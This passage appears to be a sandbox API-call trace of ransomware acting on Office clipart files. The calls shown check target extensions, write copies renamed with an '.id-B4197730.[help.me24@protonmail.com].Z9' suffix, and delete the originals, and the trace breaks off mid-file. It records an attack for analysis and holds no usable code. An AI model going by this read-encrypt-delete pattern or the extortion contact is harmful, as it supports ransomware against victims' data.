	[0183.364] WriteFile (in: hFile=0x344, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0183.365] ReadFile (in: hFile=0x558, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.365] WriteFile (in: hFile=0x344, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.365] SetEndOfFile (hFile=0x344) returned 1
	[0183.365] CloseHandle (hObject=0x344) returned 1
	[0183.366] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.366] SetEndOfFile (hFile=0x558) returned 1
	[0183.368] CloseHandle (hObject=0x558) returned 1
	[0183.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.370] lstrlenW (lpString=".doc") returned 4
	[0183.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString=".docx") returned 5
	[0183.370] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.370] lstrlenW (lpString=".pdf") returned 4
	[0183.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString=".xls") returned 4
	[0183.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.370] lstrlenW (lpString=".xlsx") returned 5
	[0183.370] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.370] lstrlenW (lpString=".ppt") returned 4
	[0183.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.370] lstrlenW (lpString=".zip") returned 4
	[0183.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.370] lstrlenW (lpString=".rar") returned 4
	[0183.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString=".bz2") returned 4
	[0183.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString=".7z") returned 3
	[0183.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.370] lstrlenW (lpString=".dbf") returned 4
	[0183.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.370] lstrlenW (lpString=".1cd") returned 4
	[0183.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.370] lstrlenW (lpString=".jpg") returned 4
	[0183.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.371] lstrlenW (lpString=".doc") returned 4
	[0183.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString=".docx") returned 5
	[0183.371] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.371] lstrlenW (lpString=".pdf") returned 4
	[0183.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString=".xls") returned 4
	[0183.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.371] lstrlenW (lpString=".xlsx") returned 5
	[0183.371] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.371] lstrlenW (lpString=".ppt") returned 4
	[0183.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.371] lstrlenW (lpString=".zip") returned 4
	[0183.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.371] lstrlenW (lpString=".rar") returned 4
	[0183.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString=".bz2") returned 4
	[0183.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString=".7z") returned 3
	[0183.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.371] lstrlenW (lpString=".dbf") returned 4
	[0183.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.371] lstrlenW (lpString=".1cd") returned 4
	[0183.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0183.371] lstrlenW (lpString=".jpg") returned 4
	[0183.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.371] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.372] lstrlenW (lpString="J0151063.WMF") returned 12
	[0183.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.373] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=10632) returned 1
	[0183.373] CloseHandle (hObject=0x558) returned 1
	[0183.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220
	[0183.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.373] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.373] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.374] GetLastError () returned 0x0
	[0183.374] ReadFile (in: hFile=0x558, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2988, lpOverlapped=0x0) returned 1
	[0183.679] WriteFile (in: hFile=0x344, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.681] ReadFile (in: hFile=0x558, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.681] WriteFile (in: hFile=0x344, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.681] SetEndOfFile (hFile=0x344) returned 1
	[0183.681] CloseHandle (hObject=0x344) returned 1
	[0183.681] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.681] SetEndOfFile (hFile=0x558) returned 1
	[0183.685] CloseHandle (hObject=0x558) returned 1
	[0183.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1
	[0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.687] lstrlenW (lpString=".doc") returned 4
	[0183.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString=".docx") returned 5
	[0183.704] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0183.704] lstrlenW (lpString=".pdf") returned 4
	[0183.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString=".xls") returned 4
	[0183.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.704] lstrlenW (lpString=".xlsx") returned 5
	[0183.704] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0183.704] lstrlenW (lpString=".ppt") returned 4
	[0183.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.704] lstrlenW (lpString=".zip") returned 4
	[0183.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.704] lstrlenW (lpString=".rar") returned 4
	[0183.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString=".bz2") returned 4
	[0183.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString=".7z") returned 3
	[0183.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.704] lstrlenW (lpString=".dbf") returned 4
	[0183.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.704] lstrlenW (lpString=".1cd") returned 4
	[0183.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.705] lstrlenW (lpString=".jpg") returned 4
	[0183.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.705] lstrlenW (lpString=".doc") returned 4
	[0183.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString=".docx") returned 5
	[0183.705] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0183.705] lstrlenW (lpString=".pdf") returned 4
	[0183.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString=".xls") returned 4
	[0183.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.705] lstrlenW (lpString=".xlsx") returned 5
	[0183.705] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0183.705] lstrlenW (lpString=".ppt") returned 4
	[0183.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.705] lstrlenW (lpString=".zip") returned 4
	[0183.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.705] lstrlenW (lpString=".rar") returned 4
	[0183.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString=".bz2") returned 4
	[0183.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.705] lstrlenW (lpString=".7z") returned 3
	[0183.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.706] lstrlenW (lpString=".dbf") returned 4
	[0183.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.706] lstrlenW (lpString=".1cd") returned 4
	[0183.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0183.706] lstrlenW (lpString=".jpg") returned 4
	[0183.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.706] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.706] lstrlenW (lpString="J0152436.WMF") returned 12
	[0183.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.721] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=11340) returned 1
	[0183.721] CloseHandle (hObject=0x4bc) returned 1
	[0183.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220
	[0183.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.722] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.722] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.724] GetLastError () returned 0x0
	[0183.724] ReadFile (in: hFile=0x4bc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2c4c, lpOverlapped=0x0) returned 1
	[0183.726] WriteFile (in: hFile=0x558, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2c50, lpOverlapped=0x0) returned 1
	[0183.728] ReadFile (in: hFile=0x4bc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.728] WriteFile (in: hFile=0x558, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.728] SetEndOfFile (hFile=0x558) returned 1
	[0183.728] CloseHandle (hObject=0x558) returned 1
	[0183.728] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.728] SetEndOfFile (hFile=0x4bc) returned 1
	[0183.731] CloseHandle (hObject=0x4bc) returned 1
	[0183.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1
	[0183.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.733] lstrlenW (lpString=".doc") returned 4
	[0183.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.733] lstrlenW (lpString=".docx") returned 5
	[0183.733] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.733] lstrlenW (lpString=".pdf") returned 4
	[0183.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.733] lstrlenW (lpString=".xls") returned 4
	[0183.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.733] lstrlenW (lpString=".xlsx") returned 5
	[0183.733] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.733] lstrlenW (lpString=".ppt") returned 4
	[0183.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.733] lstrlenW (lpString=".zip") returned 4
	[0183.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.734] lstrlenW (lpString=".rar") returned 4
	[0183.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".bz2") returned 4
	[0183.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".7z") returned 3
	[0183.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.734] lstrlenW (lpString=".dbf") returned 4
	[0183.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.734] lstrlenW (lpString=".1cd") returned 4
	[0183.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.734] lstrlenW (lpString=".jpg") returned 4
	[0183.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.734] lstrlenW (lpString=".doc") returned 4
	[0183.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".docx") returned 5
	[0183.734] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.734] lstrlenW (lpString=".pdf") returned 4
	[0183.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".xls") returned 4
	[0183.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.734] lstrlenW (lpString=".xlsx") returned 5
	[0183.734] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.735] lstrlenW (lpString=".ppt") returned 4
	[0183.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.735] lstrlenW (lpString=".zip") returned 4
	[0183.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.735] lstrlenW (lpString=".rar") returned 4
	[0183.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString=".bz2") returned 4
	[0183.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString=".7z") returned 3
	[0183.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.735] lstrlenW (lpString=".dbf") returned 4
	[0183.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.735] lstrlenW (lpString=".1cd") returned 4
	[0183.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0183.735] lstrlenW (lpString=".jpg") returned 4
	[0183.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.735] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.735] lstrlenW (lpString="J0152556.WMF") returned 12
	[0183.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.736] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=16432) returned 1
	[0183.736] CloseHandle (hObject=0x4bc) returned 1
	[0183.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220
	[0183.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.737] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.737] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.738] GetLastError () returned 0x0
	[0183.738] ReadFile (in: hFile=0x4bc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4030, lpOverlapped=0x0) returned 1
